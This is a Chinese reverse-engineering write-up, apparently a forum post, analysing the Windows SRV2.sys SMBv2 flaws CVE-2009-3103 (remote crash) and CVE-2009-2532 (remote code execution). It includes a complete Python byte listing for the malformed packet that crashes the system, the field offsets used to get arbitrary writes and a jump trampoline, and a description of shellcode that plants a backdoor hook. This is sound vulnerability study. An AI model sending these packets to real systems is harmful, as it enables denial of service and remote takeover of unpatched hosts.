查看原文
其他

二进制漏洞挖掘学习——MS09-050

zzzzzssssmmm 看雪学苑 2022-07-01


本文为看雪论坛优秀文章

看雪论坛作者ID:zzzzzssssmmm


在学习漏洞的时候,按照0Day2书中第24章第1节的内容进行学习的,这章本来是远程拒绝服务的漏洞(CVE-2009-3103),但是当我在网上搜索这个漏洞的EXP时,意外的发现了Srv2.sys模块中的另一个漏洞(CVE-2009-2532),而这个漏洞竟然可以实现远程任意代码执行,诶,这我就不困了,然后顺手两个漏洞一起分析了,把Srv2.sys模块对数据包的接收处理过程逆向了一遍,了解了其中的漏洞利用原理。
 
首先在SRV2.sys模块中,SrvReceiveHandler(这个函数会处理发送过来的数据包)其主要功能是检查数据包长度是否正确:

并且分配一个WorkItem项,并将SrvProcessPacket()地址(数据包处理函数)填入到该项对应位置处,并填写WorkItem项中其他字段内容,用于后续的创建线程函数调用该函数进行数据包处理。

 
等待系统创建线程后续从队列中取出该WorkItem项时,系统调用SrvProcessPacket函数处理数据包。

 
这是该函数中唯一一处修改esi值的地方,此处的操作就是将esi - 16。这里根据微软官方文档及其他内核结构体猜测,从WorkItem队列中取出该WorkItem项时是通过双向链表取出来的,而为了指向WorkItem结构体的起始位置需要-16Byte。
 
接下来就调用SrvProcessPacket处理数据包了:

在SrvReceiveHandler函数中对WorkItem项的结构体进行赋值时:将SrvProcessPacket()函数的地址写入 esi+1Ch 中。
在函数SrvProcWorkerThread()函数创建新的线程时调用 esi+1Ch 处的函数,该位置处正好是SrvProcessPacket函数的地址,即为调用SrvProcessPacket函数。
 
在SrvProcessPacket函数中会调用Smb2ValidateProviderCallback()这个函数。
 
这部分是通过动态调试得到的结果。具体是怎么因为什么没有充分的证据链,因为太菜了没有相关的编程经验,所以没办法通过静态调试弄清楚,不过通过静态调试也看到了点眉目。
 
并且会在处理完数据包后,执行SrvProcComleteRequest()函数进行请求处理完成操作,而在这个函数中实现了任意地址写的功能(通过任意写先写出了跳板指令),并且也实现了任意代码执行的功能,是我们任意代码执行exp中利用的点。
 
而在Smb2ValidateProviderCallback()函数中,存在一个漏洞,该漏洞可以造成BSOD,实现远程拒绝服务。(CVE-2009-3103):
esi 指向接收到的数据包指针(数据包去除掉 NETBIOS Header)

 
首先esi指向收到的数据包,esi+0Ch字段为PIDHigh字段,正常情况下PIDHigh字段值应该为0,但是这里没有对eax的值就是PIDHigh字段进行限制,如果我们的PIDHigh字段的值为畸形函数的话,就会造成数组越界,通过查看ValidateRoutines数组值:
 
(可知如果是正常情况PIDHigh字段为0,那么eax将指向Smb2ValidateNegotiate()函数。)
 
接下来将进行 call eax操作,就会执行eax指向的函数,如果是正常情况下将执行Smb2ValidateNegotiate()函数,如果eax就会指向一个非法的地址,这就会造成BSOD,进而实现远程拒绝服务攻击。(总感觉这里其实也可以利用来进行任意代码执行)
 
我们发送的数据包:


NETBIOS Header


buff = b'\x00' #Message Type : Session message
buff += b'\x00' #Flags
buff += b'\x00\x90' #Count of data bytes (netbios header not included)


SMB Base Header


buff += b'\xff\x53\x4d\x42' #Server Component: SMB Protocol[4]
buff += b'\x72' #Command
buff += b'\x00\x00\x00\x00' #Status
buff += b'\x18' #Flags
buff += b'\x53\xc8' #Flags2
buff += b'\x00\x26' #PIDHigh
 
#buff += b'\xFF\xFF'
buff += b'\x00\x00\x00\x00\x00\x00\x00\x00' #SecurityFeatures
buff += b'\x00\x00' #Reserved
buff += b'\xff\xff' #TID
buff += b'\xff\xfe' #PIDLow
buff += b'\x00\x00' #UID
buff += b'\x00\x00' #MID
buff += b'\x00' #WordCount
buff += b'\x6d\x00' #ByteCount
buff += b'\x02\x50\x43\x20\x4e\x45\x54' #Data
buff += b'\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31'
buff += b'\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00'
buff += b'\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57'
buff += b'\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61'
buff += b'\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c'
buff += b'\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c'
buff += b'\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e'
buff += b'\x30\x30\x32\x00'
 
通过动态调试了解到esi指向的内容为我们发送的数据包:
 
而在SrvProcCompleteRequest()函数中,存在两个个漏洞,这两个漏洞联合利用可以实现远程任意代码执行攻击。(CVE-2009-2532):
 
通过精心构造数据包(这部分构造的数据包有的字段并没有必要,我觉得当时作者将所有处理数据包的函数都逆向后写的exp,其中有些流程是不会走到的,所以有些字段是多余的)
 
(u32)(p+0x3C+4) = READ_ADDR;
(u8)(p+0xCC+4) = 0xCC;
(u32)(p+0xAC+4) = TRAMPOLINE_ADDR + off_pass;
(u32)(p+0x0CE+4) = 0x0;
(u32)(p+0x30+4) = READ_ADDR;
(u32)(p+0x78+4) = READ_ADDR;
(u32)(p+0x168+4) = 0x00000000;
(u8)(p+0xE0+4) = 0x90 | 0x04;

 
这部分刚好调用DPC例程,实际调用的函数为:SrvScavengerThread,不会对我们的攻击产生影响。

这部分存在一个问题就是为什么SrvScavengerThread函数不会对我们的ShellCode产生影响,没有具体的依据,不过该函数通过函数名可知是清除线程的函数,不会对我们的ShellCode产生影响,这里由于缺少编程经验,所以无法判断该函数的影响。
 
首先构造的数据包可以通过流程调用SrvProcPartialCompleteCompoundedRequest()函数,利用该函数可以实现任意地址写的功能。
 
进入SrvProcPartialCompleteCompoundedRequest()函数中,传递过来的是我们发送的数据包。
 
到达漏洞利用点。
 
可以看到其中eax可控,为数据包中头偏移0xAC地址处指向的内容+0xBC(p指向数据包,eax = [p+0xAC] + 0xBC),所以我们可以实现任意地址写功能,通过多次发送数据包实现写任意的功能(每发送一次数据包就会将这个地址处的内容++,*(eax)++),exp中利用这个任意写功能实现向内存中写入跳板指令,供之后的shellcode执行提供跳板。

这也是这个exp的亮点之一,通过这种方式实现向任意地址写的攻击,不是传统的简单的任意地址写的攻击,是一个比较好的漏洞利用思路。
 
而从数据包传送进SrvProcCompleteRequest()函数到执行完SrvProcPartialCompleteCompoundedRequest()函数,其中会对数据包的某些位置进行判断,所以在数据包的相应字段应该写入对应的数值:
 
首先在SrvProcCompleteRequest()函数中要执行到SrvProcPartialCompleteCompoundedRequest()函数中间会有如下判断:


(u8)(p + 0xCC + 4) = 0xCC;


(u32)(p + 0xAC + 4) = TRAMPOLINE_ADDR + off_pass;
 
在SrvProcPartialCompleteCompoundedRequest()函数中,要执行完毕中间会有如下判断:

(u8)(p + 0xE0 + 4) = 0x90 | 0x04;


(u32)(p + 0x78 + 4) = READ_ADDR;


而在通过任意地址写功能向目标地址写入跳板指令后,接下来就是通过跳板指令执行真正的攻击代码了。
 
可以看到其中eax可控,为数据包中头偏移0x168地址处指向的内容(p指向数据包,eax = [p+0x168] ),进而实现了任意代码执行功能。

这里部分值得注意的点就是esi指向我们发送的数据包,也就是我们输入的内容,可以通过esi将控制程序流程转入到我们发送的数据中。

所以exp中之前任意地址写入的数据就是: 0xC35646(inc esi,push esi,ret)(inc esi是因为0xff会干扰ShellCode执行,所以跳过)
这样程序就转入到了我们输入的数据中,实现了任意代码执行。
 
看exp中的ShellCode也挺有意思的,其先发送一个数据包通过之前设置的跳板指令执行在Srv2.sys模块中实现了一个类似的Hook(在Srv2.sys中开了个后门),之后任何发送过来的数据包都会被执行。
 
EXP放在了附件(点击最下方阅读原文前往下载)中,在Github上搜到的。



 


看雪ID:zzzzzssssmmm

https://bbs.pediy.com/user-home-846734.htm

*本文由看雪论坛 zzzzzssssmmm 原创,转载请注明来自看雪社区






# 往期推荐

1.Kernel从0开始

2.进程隐藏技术

3.vmp 相关的问题

4.记一次头铁的病毒样本分析过程

5.通过CmRegisterCallback学习注册表监控与反注册表监控

6.Android APP漏洞之战——权限安全和安全配置漏洞详解



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存